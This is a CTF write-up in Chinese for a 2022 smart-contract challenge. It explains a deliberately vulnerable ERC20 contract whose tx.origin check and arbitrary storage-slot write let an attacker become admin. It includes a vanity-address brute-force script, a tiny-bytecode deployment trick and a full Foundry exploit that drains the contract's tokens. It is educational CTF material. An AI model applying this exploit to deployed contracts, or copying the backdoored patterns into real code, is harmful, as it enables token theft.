11.challenge_pro
2023-07-30 17:51:08 # 16.CBSC 2022

11.challenge_pro

分析

1.全局观

两个合约:

  • ApproveMain:题目初始化,拥有cert代币
  • Cert:ERC20代币,增加了safeCheek()grant()功能

2.任务

将ApproveMain合约拥有的所有ERC20代币归零

1
2
3
4
5
6
7
function Complete() public returns(bool) {
if (cert.balanceOf(address(this)) == 0){
isComplete = true;
emit sendflag(msg.sender);
}
return isComplete;
}

3.分析

getToken()糊弄人的,代币数量太大,不断除以2要非常久才能最后变成1除以2四舍五入等于0,所以这条路走不通。

唯一能操作的只有这两个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 特定地址和admin啥也不做,否则
modifier safeCheek(address spender, uint256 amount) {
if (uint160(tx.origin) & 0xffffff != 0xbeddC4 || tx.origin == admin) {
_;
} else {
grant(spender, amount);
}
}

// 将第amount个slot的值设置为tx.origin
function grant(address spender, uint256 amount) internal {
// spender必须是一个合约,并且代码长度得小于10,长度限制挺苛刻的
require(spender.code.length > 0 && spender.code.length < 10);
AddressSlot storage r;
bytes32 slot = bytes32(amount);
assembly {
r.slot := slot
}
r.value = tx.origin;
}

想要进入grant(),我们只能通过tx.origin的低3字节是beddC4,可以用下面的脚本爆破获得。

但是题目很巧,我们在remix常用的账户0x5B38Da6a701c568545dCfcB03FcB875f56beddC4满足这个条件,因此CTF需要特殊EOA账户的时候我们可以关注一下remix、hardhat、ganache等工具给的默认账户,题目有时候会从这些地方出题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import random
from ecdsa import ecdsa
from eth_utils import keccak

g = ecdsa.generator_secp256k1

while True:
private_key = random.randint(0, 1 << 256 - 1)
public_key = private_key * g
x = str(hex(public_key.x())[2:])
x = ("00" * 32 + x)[-32 * 2:]
y = str(hex(public_key.y())[2:])
y = ("00" * 32 + y)[-32 * 2:]
public_key_hex = x + y

public_key_bytes = bytes.fromhex(public_key_hex)

keccak_hash = keccak(public_key_bytes)

address = keccak_hash[-20:].hex()

if address[34:40] == "beddc4":
print(hex(private_key))
print("0x" + public_key_hex)
address_with_prefix = "0x" + address
print(address_with_prefix)
break

虽然能操作slot,但是不是我们能控制改成什么内容,只能将值改成tx.origin,那么就是成为admin。

因此我们的任务是获得admin,然后approve()transferFrom()来完成题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function _approve(
address owner,
address spender,
uint256 amount
) internal {
if(tx.origin==admin){
require(msg.sender.code.length>0);
_allowances[spender][tx.origin] = amount;
return;
}
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

需要注意:

  • grant()方法中的require(spender.code.length > 0 && spender.code.length < 10);:普通的方式创建的合约会肯定会超过10,所以我们自己写bytecdoe然后用内联汇编创建合约。写个最简单的:600180f3,他是initcode,用来部署,然后其runtimecode是00,长度为1。

    1
    2
    3
    [00]	PUSH1	01
    [02] DUP1
    [03] RETURN
  • _approve()有要求require(msg.sender.code.length>0);,因此我们需要写个Helper合约来帮我们

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/11.challenge_pro/ApproveMain.sol";

contract attackTest is Test {

ApproveMain approveMain;
Cert cert;

function setUp() public{
// 初始化题目
approveMain = new ApproveMain();
cert = approveMain.cert();
}

function test_isComplete() public {
console.log("[before attack] level balance:",cert.balanceOf(address(approveMain)));

// 1.创建一个合约用来作为spender
address spender;
{
bytes memory bytecode = hex"600180f3";
assembly {
spender := create(0, add(bytecode, 0x20), mload(bytecode))
}
console.log("spender's length:",spender.code.length);
}

// 2.符合条件的EOA账户调用
vm.startBroadcast(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);

// 3.EOA账户成为admin
cert.approve(address(spender),uint256(3));

// 4.使用Helper帮助我们授权
Helper helper = new Helper();
helper.attack(address(cert),address(approveMain));

// 5.授权完成之后,我们的EOA账户就可以取钱了
cert.transferFrom(address(approveMain),address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4),cert.balanceOf(address(approveMain)));

// 6.检查是否完成题目
assertEq(approveMain.Complete(),true);
console.log("[after attack] level balance:",cert.balanceOf(address(approveMain)));

vm.stopBroadcast();
}

}

contract Helper{
function attack(address _addr, address _to) public{
Cert(_addr).approve(_to,type(uint256).max);
}
}